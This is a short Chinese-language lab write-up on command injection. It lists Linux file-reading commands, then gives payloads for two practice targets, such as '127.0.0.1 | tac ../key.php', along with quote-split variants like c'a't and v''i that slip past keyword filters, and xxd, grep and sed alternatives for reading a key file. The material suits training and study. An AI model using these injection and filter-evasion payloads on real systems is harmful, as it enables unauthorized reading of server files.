個人覺得這個命令注入是最簡單的。
在這之前先來了解下讀文件都可以用哪些命令吧。
linux常用於讀取文件內容指令主要有以下七種:
cat、tac、nl、more、less、head、tail
cat: 由第一行開始顯示內容,並將所有內容輸出
cat 文件名 將文件內容顯示在屏幕上
cat -n 文件名 將文件內容顯示在屏幕上,並顯示行號
cat -b 文件名 將文件內容顯示在屏幕上,並顯示行號,但是不顯示空白行行號
tac: 從最后一行倒序顯示內容,並將所有內容輸出
tac 文件名 將文件內容顯示在屏幕上,但是是從最后一行開始往前顯示
tac -s separator 文件名 –從separator往后倒序輸出,倒序輸出不包含separator,輸出到最后一行再按照順序將separator之前的內容輸出
tac -b -s separator 文件名 –從separator往后倒序輸出,倒序輸出包含separator,輸出到最后一行再按照順序將separator之前的內容輸出
nl: 類似於cat-n,顯示時輸出行號
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是顯示行號的,主要是操作行號如何顯示
nl -b a 文件名 顯示行號,空行也顯示行號
nl -b t 文件名 顯示行號,空行不顯示行號(默認值)
nl -w 數字x 文件名 行號字段所占用的位數
nl -n ln 文件名 行號在字段最前方那段空間最左端顯示
nl -n rn 文件名 行號在字段最前方那段空間最右端端顯示,且不加0
nl -n rz 文件名 行號在字段最前方那段空間最右端端顯示,且加0
more:根據窗口大小,一頁一頁的查看文件內容
more 文件名
less:和more類似,但其優點可以往前翻頁,而且進行可以搜索字符
less 文件名
head:只顯示頭幾行
haed 文件名 –顯示文件頭十行
tail:只顯示最后幾行
tail文件名 –顯示文件尾部
靶場一:
直接構造payload:
127.0.0.1 | tac ../key.php
經測試,以下payload均可完成這道題。
127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key
靶場二:
類似於第一個靶場,直接用剛才的payload試:
127.0.0.1 | m'or'e ../key.php
經測試這個靶場可以用的payload:
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 |xxd ../key.php
127.0.0.1 |grep "key" ../key.php
到這里命令執行就搞定了,下一篇日志分析。